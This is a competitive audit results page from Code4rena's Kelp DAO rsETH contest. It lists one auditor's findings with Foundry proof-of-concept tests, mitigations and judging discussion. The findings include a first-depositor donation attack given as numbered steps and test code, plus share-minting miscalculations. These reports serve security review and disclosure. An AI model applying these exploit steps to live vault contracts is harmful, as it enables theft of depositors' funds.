Kelp DAO | rsETH - crack-the-kelp's results

A collective DAO designed to unlock liquidity, DeFi and higher rewards for restaked assets through liquid restaking.

General Information

Platform: Code4rena

Start Date: 10/11/2023

Pot Size: $28,000 USDC

Total HM: 5

Participants: 185

Period: 5 days

Judge: 0xDjango

Id: 305

League: ETH

Kelp DAO

Findings Distribution

Researcher Performance

Rank: 32/185

Findings: 4

Award: $142.27

🌟 Selected for report: 1

🚀 Solo Findings: 0

Awards

36.0335 USDC - $36.03

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
upgraded by judge
edited-by-warden
duplicate-62

External Links

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L136-L141

Vulnerability details

Impact

LRTDepositPool acts like a vault contract which mints rsETH tokens as shares to depositors. Each rsETH tokens represents the ownership of funds of the depositors in LRTDepositPool contract. So, it is very important that LRTDepositPool allots right amount of rsETH shares corresponding to deposits of user. In current implementation, mechanism of calculating the issuance of rsETH tokens to mint is wrong. The current implementation is also considering the amount the user will be depositing as current balance while calculating rsETH amounts to mint. This will lead to consequent depositors after first depositor gettning less number of shares than they should originally get.

Proof of Concept

Following is foundry POC

contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; NodeDelegator public nodeDelegator; ILRTConfig public ilrtConfig; MockEigenStrategyManager public mockEigenStraregyManager; MockStrategy public mockStrategy1; MockStrategy public mockStrategy2; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); //deploy rsETH proxyAdmin = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdmin), "" ); rseth = RSETH(address(tokenProxy)); //deploy lrtConfig proxyAdmin = new ProxyAdmin(); LRTConfig lrtConfigImpl = new LRTConfig(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest // rseth.initialize(address(admin), address(lrtConfig)); // add rsETH to LRT config // lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config // deploy LRTOracle ProxyAdmin proxyAdmin1 = new ProxyAdmin(); lrtOracle = new LRTOracle(); TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy( address(lrtOracle), address(proxyAdmin1), "" ); lrtOracle = LRTOracle(address(contractProxy1)); // deploy NodeDelegator proxyAdmin1 = new ProxyAdmin(); nodeDelegator = new NodeDelegator(); contractProxy1 = new TransparentUpgradeableProxy( address(nodeDelegator), address(proxyAdmin1), "" ); nodeDelegator = NodeDelegator(address(contractProxy1)); lrtConfig.initialize( admin, address(stETH), address(rETH), address(cbETH), address(rseth) ); rseth.initialize(admin, address(lrtConfig)); lrtOracle.initialize(address(lrtConfig)); nodeDelegator.initialize(address(lrtConfig)); lrtDepositPool.initialize(address(lrtConfig)); mockEigenStraregyManager = new MockEigenStrategyManager(); mockStrategy1 = new MockStrategy(address(stETH), 0); mockStrategy2 = new MockStrategy(address(stETH), 0); vm.startPrank(admin); lrtConfig.setContract( keccak256("LRT_DEPOSIT_POOL"), address(lrtDepositPool) ); lrtConfig.setContract( keccak256("EIGEN_STRATEGY_MANAGER"), address(mockEigenStraregyManager) ); lrtConfig.grantRole(keccak256("MANAGER"), manager); lrtConfig.setRSETH(address(rseth)); vm.stopPrank(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor( address(stETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(rETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(cbETH), address(new LRTOracleMock()) ); // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether); // lrtOracle.updatePriceOracleFor( // address(randomToken), // address(new LRTOracleMock()) // ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); address[] memory nodeDelegatorContracts = new address[](1); nodeDelegatorContracts[0] = address(nodeDelegator); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts); vm.stopPrank(); } function test_wrong_shares() public { vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 5 ether); lrtDepositPool.depositAsset(address(stETH), 5 ether); //5000000000000000000 rsETH amount minted vm.stopPrank(); vm.startPrank(bob); stETH.approve(address(lrtDepositPool), 5 ether); lrtDepositPool.depositAsset(address(stETH), 5 ether); //2500000000000000000 rsETH amount minted. The depositor should get same shares as the first depositor since they are depositing same amount. vm.stopPrank(); } } ## Tools Used Manual review + foundry POC ## Recommended Mitigation Steps Consider pulling funds after rsETH tokens are minted to the user or after the calculation of shares to mint is done. It is always better to follow checks-effects-interactions pattern where external call is always done after internal accounting. ## Assessed type ERC4626

#0 - c4-pre-sort

2023-11-16T00:28:27Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-16T00:28:35Z

raymondfam marked the issue as duplicate of #62

#2 - c4-judge

2023-11-29T21:20:19Z

fatherGoose1 marked the issue as satisfactory

#3 - c4-judge

2023-12-01T19:00:05Z

fatherGoose1 changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-12-04T15:31:41Z

fatherGoose1 changed the severity to 3 (High Risk)

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52

Vulnerability details

Impact

Initial depositors(when vault is empty) can get griefed due to frontrunning attack leading them to get zero shares while attacker getting their deposits too. This is common attack vectors in vault contract.

Proof of Concept

Let's assume alice wants to deposit 10 ether when vault is empty.

Attacker can grief her by following steps:

  1. Attacker deposits 1 wei and gets 1 share.
  2. Before alice deposits 10 ether, attacker donates 10 ether to the pool.
  3. Alice deposits 10 ether and get 0 shares.
  4. Attacker's 1 share is worth 20 ether + 1 wei.

So, attacker got alice's deposits.

function test_grief_initial_depositor() public { vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether); vm.stopPrank(); vm.startPrank(attacker); stETH.approve(address(lrtDepositPool), 1 wei); lrtDepositPool.depositAsset(address(stETH), 1 wei); stETH.approve(address(lrtDepositPool), 10 ether); stETH.transfer(address(lrtDepositPool), 10 ether); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(address(stETH), 10 ether); //0 shares minted to alice vm.stopPrank(); }

Tools Used

Foundry POC

Revert the transaction when 0 shares are to be minted.

Assessed type

MEV

#0 - c4-pre-sort

2023-11-16T01:00:23Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-16T01:00:42Z

raymondfam marked the issue as duplicate of #42

#2 - c4-judge

2023-12-01T16:59:13Z

fatherGoose1 marked the issue as satisfactory

Awards

98.8211 USDC - $98.82

Labels

bug
2 (Med Risk)
downgraded by judge
high quality report
primary issue
satisfactory
selected for report
sponsor disputed
M-01

External Links

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L70 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L49 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L84 https://github.com/code-423n4/2023-11-kelp/blob/main/src/NodeDelegator.sol#L122-L123

Vulnerability details

Impact

If there is update in strategy, getTotalAssetDeposits(asset) will reduce for asset. Because it checks for the assets deposited in NodeDelegator. NodeDelegator.getAssetBalance() will check for asset balance for the strategy of the user. If strategy is updated, then the balance of old strategy won't be taken into account which will reduce the totalDeposits. This will reduce the rsETH share price and cause more rsETH shares to be minted for the depositors. Thus, depositors can immediately deposit and their shares are worth more than their deposit.

Proof of Concept

contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; NodeDelegator public nodeDelegator; ILRTConfig public ilrtConfig; MockEigenStrategyManager public mockEigenStraregyManager; MockStrategy public mockStrategy1; MockStrategy public mockStrategy2; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); //deploy rsETH proxyAdmin = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdmin), "" ); rseth = RSETH(address(tokenProxy)); //deploy lrtConfig proxyAdmin = new ProxyAdmin(); LRTConfig lrtConfigImpl = new LRTConfig(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest // rseth.initialize(address(admin), address(lrtConfig)); // add rsETH to LRT config // lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config // deploy LRTOracle ProxyAdmin proxyAdmin1 = new ProxyAdmin(); lrtOracle = new LRTOracle(); TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy( address(lrtOracle), address(proxyAdmin1), "" ); lrtOracle = LRTOracle(address(contractProxy1)); // deploy NodeDelegator proxyAdmin1 = new ProxyAdmin(); nodeDelegator = new NodeDelegator(); contractProxy1 = new TransparentUpgradeableProxy( address(nodeDelegator), address(proxyAdmin1), "" ); nodeDelegator = NodeDelegator(address(contractProxy1)); lrtConfig.initialize( admin, address(stETH), address(rETH), address(cbETH), address(rseth) ); rseth.initialize(admin, address(lrtConfig)); lrtOracle.initialize(address(lrtConfig)); nodeDelegator.initialize(address(lrtConfig)); lrtDepositPool.initialize(address(lrtConfig)); mockEigenStraregyManager = new MockEigenStrategyManager(); mockStrategy1 = new MockStrategy(address(stETH), 0); mockStrategy2 = new MockStrategy(address(stETH), 0); vm.startPrank(admin); lrtConfig.setContract( keccak256("LRT_DEPOSIT_POOL"), address(lrtDepositPool) ); lrtConfig.setContract( keccak256("EIGEN_STRATEGY_MANAGER"), address(mockEigenStraregyManager) ); lrtConfig.grantRole(keccak256("MANAGER"), manager); lrtConfig.setRSETH(address(rseth)); vm.stopPrank(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor( address(stETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(rETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(cbETH), address(new LRTOracleMock()) ); // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether); // lrtOracle.updatePriceOracleFor( // address(randomToken), // address(new LRTOracleMock()) // ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); address[] memory nodeDelegatorContracts = new address[](1); nodeDelegatorContracts[0] = address(nodeDelegator); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts); vm.stopPrank(); } function test_update_strategy_cause_wrong_minting_of_shares() public { //NOTE: comment line 207-211 in setup for this vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE: 10000000000000000000 rsETH amount minted vm.stopPrank(); vm.startPrank(manager); lrtDepositPool.transferAssetToNodeDelegator( 0, address(stETH), 10 ether ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy2)); lrtConfig.updateAssetStrategy(address(rETH), address(mockStrategy2)); lrtConfig.updateAssetStrategy(address(cbETH), address(mockStrategy2)); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 10 ether); lrtDepositPool.depositAsset(address(stETH), 10 ether); //NOTE: 2500000000000000000 rsETH amount minted even after fixing deposit bug vm.stopPrank(); } }

Tools Used

Foundry

While updating the strategy, ensure that balance deposited in previous strategy for same asset is accounted while minting the shares.

Assessed type

ERC4626

#0 - c4-pre-sort

2023-11-16T00:53:05Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-16T00:53:10Z

raymondfam marked the issue as primary issue

#2 - c4-pre-sort

2023-11-17T06:54:43Z

raymondfam marked the issue as high quality report

#3 - c4-sponsor

2023-11-24T08:49:56Z

gus-staderlabs (sponsor) disputed

#4 - gus-stdr

2023-11-24T08:55:14Z

The Eigenlayer has a 1-1 mapping for asset and its strategy. We don't believe this an issue with KelpDAO or its code but with Eigenlayer if it upgrades its protocol to have multiple strategies for an asset. Then if this occurs, KelpDAO will also have to upgrade its contracts to ensure the compatibility to Eigenlayer. Also, if Eigenlayer changes strategies, they are responsible to migrate the internal accounting to the new address.

#5 - manoj9april

2023-11-30T06:13:32Z

Currently eigenlayer's implementation allows them to have multiple startegies for any asset. -> But we can continue to deposit into one strategy for a asset and it won't be a problem for us. That is assuming 1:1 mapping won't harm us.

Above assumptions will only create problem in case, eigen layer wants to spread the current funds into multiple strategies for any asset in future upgrades. And in this case, they will provide proper heads up ahead of time and we can upgrade along with them accordingly.

In case they change their strategy for any asset, we can point to new strategy address and it should work fine. And in this case eigen layer should should take care of all migration of funds from old to new strategy.

But as currently nothing has been decided at eigen layer end. I believe we are good with our current assumption of 1:1. It would be a overkill to assume anything else as of now.

Please check the attached conversation with eigen layer team. Discord: https://discord.com/channels/1089434273720832071/1096331191243788379

#6 - fatherGoose1

2023-12-01T17:24:44Z

Kelp has provided adequate reasoning behind the current design. I agree that it is unlikely that a breaking change from the Eigenlayer protocol would not be properly communicated ahead of time. Designing around this potentiality would impose added risk in the current design.

#7 - c4-judge

2023-12-01T17:25:01Z

fatherGoose1 marked the issue as unsatisfactory: Invalid

#8 - radeveth

2023-12-02T22:45:00Z

Hey, @fatherGoose1.

I disagree with the reasons provided above.

We don't believe this an issue with KelpDAO or its code but with Eigenlayer if it upgrades its protocol to have multiple strategies for an asset.

The problem lies specifically in how Kelp DAO upgrades the strategy for assets. Nothing related to the functionality of EigenLayer Strategies.

Let's view at the code of startegy upgradeing

    function updateAssetStrategy(
        address asset,
        address strategy
    )
        external
        onlyRole(DEFAULT_ADMIN_ROLE)
        onlySupportedAsset(asset)
    {
        UtilLib.checkNonZeroAddress(strategy);
        if (assetStrategy[asset] == strategy) {
            revert ValueAlreadyInUse();
        }
        assetStrategy[asset] = strategy;
    }

As we can see, when an EigenLayer Strategy for an asset is changed, there is currently no mechanism in place to migrate user deposits from the old strategy to the new one. It is precisely in this scenario that the vulnerability arises.

If a strategy update occurs, the function getTotalAssetDeposits(asset) will show a reduced value for that asset. This reduction happens because the function references assets deposited in NodeDelegator. Specifically, NodeDelegator.sol#getAssetBalance() assesses the asset balance based on the user's current strategy. When a strategy update takes place, the balance associated with the previous strategy is no longer considered, leading to a decrease in totalDeposits. As a result, the share price of rsETH decreases, prompting the system to mint more rsETH shares for depositors. Consequently, depositors can make immediate deposits, gaining shares that are more valuable than the actual amount they deposited.

This vulnerability describe significant flaws in the KelpDAO protocol flow. Nothing related to the functionality of EigenLayer Strategies.

But as currently nothing has been decided at eigen layer end. I believe we are good with our current assumption of 1:1. It would be a overkill to assume anything else as of now.

The recommendations in this report do not make any assumptions about the implementation of 1:1 mapping. Instead, they specifically suggest updating the updateAssetStrategy() function. in a way thet update would enable the transfer of user deposits from the old strategy to the new strategy once the new strategy is set. (as in my issue #644 writes)

I believe the issue has been misjudged and should be mitigated to High Severity Issue.

Have a good one.

#9 - manoj9april

2023-12-03T08:12:16Z

@radeveth KelpDao will only update the strategy address when eigenLayer updates strategy for any asset (which eigenLayer currently has no plans as such).

Even if above scenario takes place. EigenLayer should provide proper communications ahead of time. And we can go through follow below steps:

  • eigen layer communicates of strategy update
  • KelpDao pauses its protocol for a mutually decided duration
  • eigenLayer migrates its state from old contracts to new contracts.
  • KelpDao points to new strategy contract
  • KelpDao resumes

if migration of contract state is not possible at eigenLayer and they(eigenlayer) decomission their old strategy, only in this scenario KelpDao will have to withdraw its funds from old strategy and redelgate it to new strategy. And these steps will be done in complete visibility and transparency with proper timelocks. But sees no harm or loss to funds or miscalculation.

#10 - fatherGoose1

2023-12-04T16:41:40Z

This will be upgraded to MEDIUM.

The warden accurately explains how Kelp's internal accounting will be broken if they decide to use the updateAssetStrategy() function. If Kelp changes the strategy address, rsETH share prices will decrease in a way that should not occur.

While Kelp describes the list of actions that they would take in the case they would need to change the strategy address, the implementation does not protect against the possibility of the broken accounting.

#11 - c4-judge

2023-12-04T16:41:54Z

fatherGoose1 changed the severity to 2 (Med Risk)

#12 - radeveth

2023-12-08T10:40:03Z

Hey, @fatherGoose1.

This has been marked as medium, but it still has the unsatisfactory label.

Have a good one

#13 - c4-judge

2023-12-08T17:20:51Z

fatherGoose1 marked the issue as satisfactory

#14 - c4-judge

2023-12-08T18:54:45Z

fatherGoose1 marked the issue as selected for report

Awards

98.8211 USDC - $98.82

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
duplicate-197

External Links

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L49 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L84 https://github.com/code-423n4/2023-11-kelp/blob/main/src/NodeDelegator.sol#L122-L123 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L47-L51

Vulnerability details

Impact

getTotalAssetDeposits for an asset will reduce less value once there is an update in the strategy because asset balance of eigen layer staked for the new strategy will be 0 and the asset balance for old strategy is not accounted for in the contract. So, getTotalAssetDeposits will be less which means the total amount of particular asset deposited in deposit pool contract can exceed the deposit limit for that asset.

Proof of Concept

POC not needed

Tools Used

Manual review

Consider taking the balance deposited by previous strategy into account in calculation of getTotalAssetDeposits.

Assessed type

ERC4626

#0 - c4-pre-sort

2023-11-16T00:56:43Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-16T00:56:55Z

raymondfam marked the issue as duplicate of #197

#2 - c4-judge

2023-12-01T17:24:59Z

fatherGoose1 marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2023-12-04T16:41:52Z

fatherGoose1 changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-12-08T17:21:30Z

fatherGoose1 marked the issue as not a duplicate

#5 - c4-judge

2023-12-08T17:24:06Z

fatherGoose1 marked the issue as duplicate of #197

#6 - fatherGoose1

2023-12-08T17:24:17Z

This is a valid duplicate of #197

#7 - c4-judge

2023-12-08T17:24:23Z

fatherGoose1 marked the issue as satisfactory

Awards

2.7592 USDC - $2.76

Labels

bug
grade-b
QA (Quality Assurance)
sufficient quality report
edited-by-warden
Q-82

External Links

Impact

Asset price is fetched from assetPriceOracle[asset]. If it is not set, depositAsset function will not work as following call will revert due to call to address(0).

IPriceFetcher(assetPriceOracle[asset]).getAssetPrice(asset);

Proof of Concept

contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; NodeDelegator public nodeDelegator; ILRTConfig public ilrtConfig; MockEigenStrategyManager public mockEigenStraregyManager; MockStrategy public mockStrategy1; MockStrategy public mockStrategy2; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); //deploy rsETH proxyAdmin = new ProxyAdmin(); RSETH tokenImpl = new RSETH(); TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy( address(tokenImpl), address(proxyAdmin), "" ); rseth = RSETH(address(tokenProxy)); //deploy lrtConfig proxyAdmin = new ProxyAdmin(); LRTConfig lrtConfigImpl = new LRTConfig(); TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy( address(lrtConfigImpl), address(proxyAdmin), "" ); lrtConfig = LRTConfig(address(lrtConfigProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest // rseth.initialize(address(admin), address(lrtConfig)); // add rsETH to LRT config // lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config // deploy LRTOracle ProxyAdmin proxyAdmin1 = new ProxyAdmin(); lrtOracle = new LRTOracle(); TransparentUpgradeableProxy contractProxy1 = new TransparentUpgradeableProxy( address(lrtOracle), address(proxyAdmin1), "" ); lrtOracle = LRTOracle(address(contractProxy1)); // deploy NodeDelegator proxyAdmin1 = new ProxyAdmin(); nodeDelegator = new NodeDelegator(); contractProxy1 = new TransparentUpgradeableProxy( address(nodeDelegator), address(proxyAdmin1), "" ); nodeDelegator = NodeDelegator(address(contractProxy1)); lrtConfig.initialize( admin, address(stETH), address(rETH), address(cbETH), address(rseth) ); rseth.initialize(admin, address(lrtConfig)); lrtOracle.initialize(address(lrtConfig)); nodeDelegator.initialize(address(lrtConfig)); lrtDepositPool.initialize(address(lrtConfig)); mockEigenStraregyManager = new MockEigenStrategyManager(); mockStrategy1 = new MockStrategy(address(stETH), 0); mockStrategy2 = new MockStrategy(address(stETH), 0); vm.startPrank(admin); lrtConfig.setContract( keccak256("LRT_DEPOSIT_POOL"), address(lrtDepositPool) ); lrtConfig.setContract( keccak256("EIGEN_STRATEGY_MANAGER"), address(mockEigenStraregyManager) ); lrtConfig.grantRole(keccak256("MANAGER"), manager); lrtConfig.setRSETH(address(rseth)); vm.stopPrank(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor( address(stETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(rETH), address(new LRTOracleMock()) ); lrtOracle.updatePriceOracleFor( address(cbETH), address(new LRTOracleMock()) ); // lrtConfig.addNewSupportedAsset(address(randomToken), 100_000 ether); // lrtOracle.updatePriceOracleFor( // address(randomToken), // address(new LRTOracleMock()) // ); vm.stopPrank(); vm.startPrank(admin); lrtConfig.updateAssetStrategy(address(stETH), address(mockStrategy1)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); address[] memory nodeDelegatorContracts = new address[](1); nodeDelegatorContracts[0] = address(nodeDelegator); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts); vm.stopPrank(); } function test_oracle_not_set() public { vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); vm.startPrank(manager); lrtConfig.updateAssetDepositLimit(address(stETH), 100 ether); vm.stopPrank(); vm.startPrank(alice); stETH.approve(address(lrtDepositPool), 5 ether); lrtDepositPool.depositAsset(address(stETH), 5 ether); // deposit will fail because stETH oracle not set in oracle. lrtOracle.getAssetPrice(asset) will revert and no shares can be minted reverting the transaction. vm.stopPrank(); } }

Tools Used

Foundry POC

Consider adding a check to ensure that call reverts with proper error message.

Use of override is unnecessary

As mentioned by the bot report: Starting with Solidity version 0.8.8, using the override keyword when the function solely overrides an interface function, and the function doesn't exist in multiple base contracts, is unnecessary.

The report mentions that exists 13 instances of this issue but it missed the one at:

File: src/LRTOracle.sol

20: 		        mapping(address asset => address priceOracle) public override assetPriceOracle;

[20]

Missing function declaration in interface

The interface INodeDelegator is missing the declaration of the transferBackToLRTDepositPool function, implemented in NodeDelegator. Consider declaring all functions in the interface as it improves readability.

Redundant check for zero address

In the initialize function, the internal functions _setToken and _addNewSupportedAsset ensure that the asset is not set to the zero address. To save gas during initialization, consider removing these lines:

File: src/LRTConfig.sol

52: 		    UtilLib.checkNonZeroAddress(stETH);
53:                 UtilLib.checkNonZeroAddress(rETH);
54:                 UtilLib.checkNonZeroAddress(cbETH);;

[52, 53, 54]

Accidentally add repeated address in nodeDelegatorQueue array

The admin might accidentally include the same address more than once in the input array. Since there's no check for duplicates, the function would add the same address multiple times. Consider including a check that prevents the same address from being added to the nodeDelegatorQueue more than once.

File: src/LRTDepositPool.sol

170: 		        nodeDelegatorQueue.push(nodeDelegatorContracts[i]);

[170]

Lack of pausable functionality implementation

Even though the pause and unpause functions are implemented in the LRTOracle contract, there is no functionality that checks if the contract is paused or not. Consider using the functionality that inheriting from the PausableUpgradeable contract offers.

File: src/LRTOracle.sol

19: 		        contract LRTOracle is ILRTOracle, LRTConfigRoleChecker, PausableUpgradeable {

[19]

#0 - c4-pre-sort

2023-11-18T00:50:31Z

raymondfam marked the issue as sufficient quality report

#1 - c4-judge

2023-12-01T18:50:11Z

fatherGoose1 marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter